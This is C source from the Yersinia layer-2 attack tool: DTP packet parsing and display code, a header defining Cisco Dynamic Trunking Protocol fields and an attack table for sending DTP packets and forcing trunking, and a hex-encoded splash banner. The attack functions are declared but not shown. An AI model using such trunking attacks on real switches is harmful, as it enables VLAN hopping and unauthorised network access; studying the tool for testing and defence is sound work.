memcpy(field_values[DTP_DOMAIN], ptr+4, tlv_len-4); field_values[DTP_DOMAIN][(tlv_len-4)]=0; } else { memcpy(field_values[DTP_DOMAIN], ptr+4, 20); field_values[DTP_DOMAIN][19]= '|'; field_values[DTP_DOMAIN][20]= '\0'; } break; case DTP_TYPE_STATUS: if (tlv_len == 5) { tlv_data = (ptr+4); snprintf(field_values[DTP_STATUS], 3, "%02X", *tlv_data); } break; case DTP_TYPE_TYPE: if (tlv_len == 5) { tlv_data = (ptr+4); snprintf(field_values[DTP_TYPE], 3, "%02X", *tlv_data); } break; case DTP_TYPE_NEIGHBOR: if (tlv_len == 10 ) { tlv_data = (ptr+4); snprintf(field_values[DTP_NEIGH], 13, "%02X%02X%02X%02X%02X%02X", *tlv_data, *(tlv_data+1), *(tlv_data+2), *(tlv_data+3), *(tlv_data+4), *(tlv_data+5)); } break; } } ptr += tlv_len; } return field_values; } char ** dtp_get_printable_store(struct term_node *node) { struct dtp_data *dtp_tmp; char **field_values; /* smac + dmac + version + domain + status + type + neighbor + null = 8 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DTP].nparams, protocols[PROTO_DTP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dtp_tmp = protocols[PROTO_DTP].default_values; else dtp_tmp = (struct dtp_data *) node->protocol[PROTO_DTP].tmp_data; /* Source MAC */ snprintf(field_values[DTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dtp_tmp->mac_source[0], dtp_tmp->mac_source[1], dtp_tmp->mac_source[2], dtp_tmp->mac_source[3], dtp_tmp->mac_source[4], dtp_tmp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dtp_tmp->mac_dest[0], dtp_tmp->mac_dest[1], dtp_tmp->mac_dest[2], dtp_tmp->mac_dest[3], dtp_tmp->mac_dest[4], dtp_tmp->mac_dest[5]); snprintf(field_values[DTP_VERSION], 3, "%02X", dtp_tmp->version); memcpy(field_values[DTP_DOMAIN], dtp_tmp->domain, DTP_DOMAIN_SIZE); snprintf(field_values[DTP_STATUS], 5, "%02hhX", dtp_tmp->status); snprintf(field_values[DTP_TYPE], 5, "%02hhX", dtp_tmp->type); snprintf(field_values[DTP_NEIGH], 13, "%02X%02X%02X%02X%02X%02X", dtp_tmp->neighbor[0], dtp_tmp->neighbor[1], dtp_tmp->neighbor[2], dtp_tmp->neighbor[3], dtp_tmp->neighbor[4], dtp_tmp->neighbor[5]); return field_values; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t dtp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct dtp_data *dtp; u_int8_t *dtp_data, *ptr; u_int16_t tlv_type, tlv_len; #ifdef LBL_ALIGN u_int16_t aux_short; #endif dtp = (struct dtp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; dtp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2SNAP_H); /* Source MAC */ memcpy(dtp->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dtp->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); ptr = dtp_data; /* DTP Version */ dtp->version = *ptr; ptr++; while(ptr < data->packet + data->header->caplen) { /* Undersized packet!! */ if ( (ptr+4) > (data->packet + data->header->caplen)) return 0; #ifdef LBL_ALIGN memcpy((void *)&aux_short,ptr,2); tlv_type = ntohs(aux_short); memcpy((void *)&aux_short,(ptr+2),2); tlv_len = ntohs(aux_short); #else tlv_type = ntohs(*(u_int16_t *)ptr); tlv_len = ntohs(*(u_int16_t *)(ptr+2)); #endif if ( (ptr+tlv_len) > (data->packet + data->header->caplen)) return -1; /* Oversized packet!! */ if (!tlv_len) return 0; /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if (tlv_len > 4) { switch(tlv_type) { case DTP_TYPE_DOMAIN: if ((tlv_len-4) < DTP_DOMAIN_SIZE ) { memcpy(dtp->domain, (ptr+4), tlv_len-4); dtp->domain[(tlv_len-4)]=0; dtp->dom_len = tlv_len-4; } else { memcpy(dtp->domain, (ptr+4), DTP_DOMAIN_SIZE); dtp->domain[DTP_DOMAIN_SIZE]=0; dtp->dom_len = DTP_DOMAIN_SIZE; } break; case DTP_TYPE_STATUS: if (tlv_len == 5) { dtp->status = *(ptr+4); } break; case DTP_TYPE_TYPE: if (tlv_len == 5) { dtp->type = *(ptr+4); } break; case DTP_TYPE_NEIGHBOR: if (tlv_len == 10 ) memcpy(dtp->neighbor, (ptr+4), 6); break; } } ptr += tlv_len; } return 0; } int8_t dtp_update_field(int8_t state, struct term_node *node, void *value) { struct dtp_data *dtp_data; if (node == NULL) dtp_data = protocols[PROTO_DTP].default_values; else dtp_data = node->protocol[PROTO_DTP].tmp_data; switch(state) { /* Source MAC */ case DTP_SMAC: memcpy((void *)dtp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DTP_DMAC: memcpy((void *)dtp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Version */ case DTP_VERSION: dtp_data->version = *(u_int8_t *)value; break; /* Status */ case DTP_STATUS: dtp_data->status = *(u_int8_t *)value; break; /* Type */ case DTP_TYPE: dtp_data->type = *(u_int8_t *)value; break; default: break; } return 0; } int8_t dtp_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/dtp.h
/* dtp.h * Definitions for Cisco's Dynamic Trunking Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __DTP_H__ #define __DTP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define DTP_TYPE_DOMAIN 0x01 #define DTP_TYPE_STATUS 0x02 #define DTP_TYPE_TYPE 0x03 #define DTP_TYPE_NEIGHBOR 0x04 /* Status TOS/TAS */ #define DTP_ACCESS 0x00 #define DTP_TRUNK 0x80 #define DTP_ON 0x01 #define DTP_OFF 0x02 #define DTP_DESIRABLE 0x03 #define DTP_AUTO 0x04 #define DTP_UNKNOWN 0x05 /* Type TOT/TAT */ #define DTP_TOT_NATIVE 0x20 #define DTP_TOT_ISL 0x40 #define DTP_TOT_802_1Q 0xa0 #define DTP_TAT_NEGOTIATED 0x00 #define DTP_TAT_NATIVE 0x01 #define DTP_TAT_ISL 0x02 #define DTP_TAT_802_1Q 0x05 /* Default values */ #define DTP_DFL_VERSION 0x01 #define DTP_DFL_DOMAIN "\x0\x0\x0\x0\x0\x0\x0\x0" #define DTP_DFL_DOM_LEN 0x08 #define DTP_DFL_STATUS (DTP_ACCESS | DTP_DESIRABLE) #define DTP_DFL_TYPE (DTP_TOT_802_1Q | DTP_TAT_802_1Q) #define DTP_DOMAIN_SIZE 32 static const struct tuple_type_desc dtp_status[] = { { DTP_ACCESS|DTP_DESIRABLE, "ACCESS/DESIRABLE" }, { DTP_ACCESS|DTP_ON, "ACCESS/ON" }, { DTP_ACCESS|DTP_OFF, "ACCESS/OFF" }, { DTP_ACCESS|DTP_AUTO, "ACCESS/AUTO" }, { DTP_TRUNK|DTP_DESIRABLE, "TRUNK/DESIRABLE" }, { DTP_TRUNK|DTP_ON, "TRUNK/ON" }, { DTP_TRUNK|DTP_OFF, "TRUNK/OFF" }, { DTP_TRUNK|DTP_AUTO, "TRUNK/AUTO" }, { DTP_UNKNOWN, "UNKNOWN" }, { 0, NULL } }; static const struct tuple_type_desc dtp_type[] = { { DTP_TOT_802_1Q|DTP_TAT_802_1Q, "802.1Q/802.1Q" }, { DTP_TOT_802_1Q|DTP_TAT_ISL, "802.1Q/ISL" }, { DTP_TOT_802_1Q|DTP_TAT_NATIVE, "802.1Q/NATIVE" }, { DTP_TOT_802_1Q|DTP_TAT_NEGOTIATED, "802.1Q/NEGOTIATED" }, { DTP_TOT_ISL|DTP_TAT_ISL, "ISL/ISL" }, { DTP_TOT_ISL|DTP_TAT_802_1Q, "ISL/802.1Q" }, { DTP_TOT_ISL|DTP_TAT_NATIVE, "ISL/NATIVE" }, { DTP_TOT_ISL|DTP_TAT_NEGOTIATED, "ISL/NEGOTIATED" }, { DTP_TOT_NATIVE|DTP_TAT_802_1Q, "NATIVE/802.1Q" }, { DTP_TOT_NATIVE|DTP_TAT_ISL, "NATIVE/ISL" }, { DTP_TOT_NATIVE|DTP_TAT_NATIVE, "NATIVE/NATIVE" }, { DTP_TOT_NATIVE|DTP_TAT_NEGOTIATED, "NATIVE/NEGOTIATED" }, { 0, NULL } }; static struct proto_features dtp_features[] = { { F_LLC_CISCO, 0x2004 }, { -1, 0} }; /* DTP mode stuff */ struct dtp_data { u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t version; char domain[DTP_DOMAIN_SIZE+1]; u_int16_t dom_len; u_int8_t status; u_int8_t type; u_int8_t neighbor[ETHER_ADDR_LEN]; u_int8_t state; }; #define DTP_SMAC 0 #define DTP_DMAC 1 #define DTP_VERSION 2 #define DTP_NEIGH 3 #define DTP_STATUS 4 #define DTP_TYPE 5 #define DTP_DOMAIN 6 /* Struct needed for using protocol fields within the network client */ struct commands_param dtp_comm_params[] = { { DTP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DTP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { DTP_VERSION, "version","Version", 1, FIELD_HEX, "Set dtp version", " <0x00-0xFF> dynamic trunking version", 2, 2, 0, NULL, NULL }, { DTP_NEIGH, "neighbor", "Neighbor-ID", 6, FIELD_BYTES, "Set neighbor id", " HHHHHH 48 bit neighbor address", 12, 2, 1, NULL, NULL }, { DTP_STATUS, "status", "Status", 1, FIELD_HEX, "Set trunking status", " <0x00-0xFF> dynamic trunking status", 2, 2, 1, NULL, dtp_status }, { DTP_TYPE, "type", "Type", 1, FIELD_HEX, "Set trunking type", " <0x00-0xFF> dynamic trunking type", 2, 2, 0, NULL, dtp_type }, { DTP_DOMAIN, "domain", "Domain", DTP_DOMAIN_SIZE, FIELD_STR, "Set vtp domain name to use", " WORD Domain name", DTP_DOMAIN_SIZE, 3, 1, NULL, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; #define DTP_ATTACK_SEND 0 #define DTP_ATTACK_DO_TRUNK 1 void dtp_th_send(void *); void dtp_th_send_exit(struct attacks *); void dtp_th_nondos_do_trunk(void *); void dtp_th_nondos_do_trunk_exit(struct attacks *); static struct _attack_definition dtp_attack[] = { { DTP_ATTACK_SEND, "sending DTP packet", NONDOS, SINGLE, dtp_th_send, NULL, 0 }, { DTP_ATTACK_DO_TRUNK, "enabling trunking", NONDOS, CONTINOUS, dtp_th_nondos_do_trunk, NULL, 0 }, { 0, NULL, 0, 0, NULL, NULL, 0 } }; void dtp_register(void); int8_t dtp_send(struct attacks *); int8_t dtp_init_attribs(struct term_node *); int8_t dtp_learn_packet(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *); char **dtp_get_printable_packet(struct pcap_data *); char **dtp_get_printable_store(struct term_node *); int8_t dtp_load_values(struct pcap_data *, void *); void dtp_send_negotiate(void *); int8_t dtp_update_data(int8_t, int8_t, int8_t, struct term_node *); int8_t dtp_update_field(int8_t, struct term_node *, void *); int8_t dtp_init_comms_struct(struct term_node *); int8_t dtp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_filter_param(u_int8_t, void *, char *, u_int16_t, int32_t, int32_t); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern struct terminals *terms; extern int8_t bin_data[]; extern int8_t term_vty_write(struct term_node *, char *, u_int16_t); extern int8_t command_bad_input(struct term_node *, int8_t); #endif
C/C++
yersinia/src/global.h
/* global.h * Global definitions and amazing splash ;) * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GLOBAL_H__ #define __GLOBAL_H__ #include "interfaces.h" #include "protocols.h" pthread_mutex_t mutex_ctime; struct packet_stats packet_stats; struct packet_queue queue[MAX_PROTOCOLS]; int8_t fatal_error; u_int32_t uptime; extern struct protocol_def protocols[MAX_PROTOCOLS]; #if (defined(SOLARIS) && !defined(HAVE_STRERROR)) extern char *sys_errlist[]; #endif /* SOLARIS && !HAVE_STRERROR */ /* begin binary data: */ int8_t bin_data[] = /* 2696 */ { 0x1B,0x5B,0x30,0x6D,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20 ,0xDB,0xB2,0xDB,0xDB,0xB2,0xB2,0xDB,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37 ,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0xB2 ,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB0,0xB2,0xB2,0x1B,0x5B ,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30 ,0x3B,0x33,0x37,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A ,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0xDB,0xB2,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB ,0xDB,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0x1B,0x5B,0x30,0x3B ,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D ,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B ,0x31,0x3B,0x33,0x31,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2 ,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31 ,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0x1B,0x5B,0x33 ,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0xB0,0x1B ,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0xB2,0xDB,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D ,0x20,0x20,0x20,0x20,0x1B,0x5B,0x31,0x3B,0x33,0x31,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43 ,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x35,0x6D,0xB0,0xB2,0xB0,0xB0,0x1B,0x5B,0x30 ,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB1 ,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2 ,0xDB,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B ,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x0D ,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B ,0x33,0x30,0x6D,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B ,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D ,0xB2,0xB1,0xB1,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35 ,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x30,0x6D,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20 ,0x1B,0x5B,0x31,0x3B,0x33,0x31,0x6D,0x20,0x59,0x65,0x72,0x73,0x69,0x6E,0x69 ,0x61,0x2E,0x2E,0x2E,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20 ,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41 ,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0xB2 ,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0x1B,0x5B,0x30,0x3B ,0x31,0x3B,0x33,0x36,0x6D,0xDB,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB2 ,0xB2,0xB1,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB0,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xDB ,0xB2,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B ,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34 ,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B ,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30 ,0x6D,0xDB,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB2,0xB0,0x1B,0x5B ,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2 ,0xB2,0xB2,0xB1,0xB1,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0xDB,0x1B ,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B ,0x33,0x30,0x6D,0xDB,0xDB,0xB2,0xB2,0xB2,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30 ,0x3B,0x33,0x37,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B ,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x31,0x6D,0x54,0x68,0x65,0x20,0x1B,0x5B,0x33 ,0x30,0x6D,0x42,0x6C,0x61,0x63,0x6B,0x20,0x44,0x65,0x61,0x74,0x68,0x1B,0x5B ,0x33,0x37,0x6D,0x20,0x66,0x6F,0x72,0x20,0x6E,0x6F,0x77,0x61,0x64,0x61,0x79 ,0x73,0x20,0x6E,0x65,0x74,0x77,0x6F,0x72,0x6B,0x73,0x1B,0x5B,0x30,0x6D,0x20 ,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B ,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0xB2,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB2,0xB0,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xDB ,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB2,0xB2,0xB2,0xB2,0xB2,0x1B ,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0 ,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0x20 ,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x33,0x34 ,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20 ,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0xB2,0xDB,0xDB,0x1B,0x5B,0x35 ,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB1,0xB1,0xB2 ,0xB2,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B ,0x33,0x34,0x6D,0xB0,0xB2,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D ,0xDB,0xB2,0xB2,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20 ,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B ,0x31,0x3B,0x33,0x31,0x6D,0x62,0x79,0x20,0x53,0x6C,0x61,0x79,0x20,0x26,0x20 ,0x74,0x6F,0x6D,0x61,0x63,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20 ,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31 ,0x3B,0x33,0x30,0x6D,0x20,0x20,0xDB,0xB2,0xB2,0xDB,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB2,0xB0,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB ,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB1,0xB1,0xB2,0xB2,0xB2,0xB2 ,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB2,0xB0,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2 ,0xDB,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20 ,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 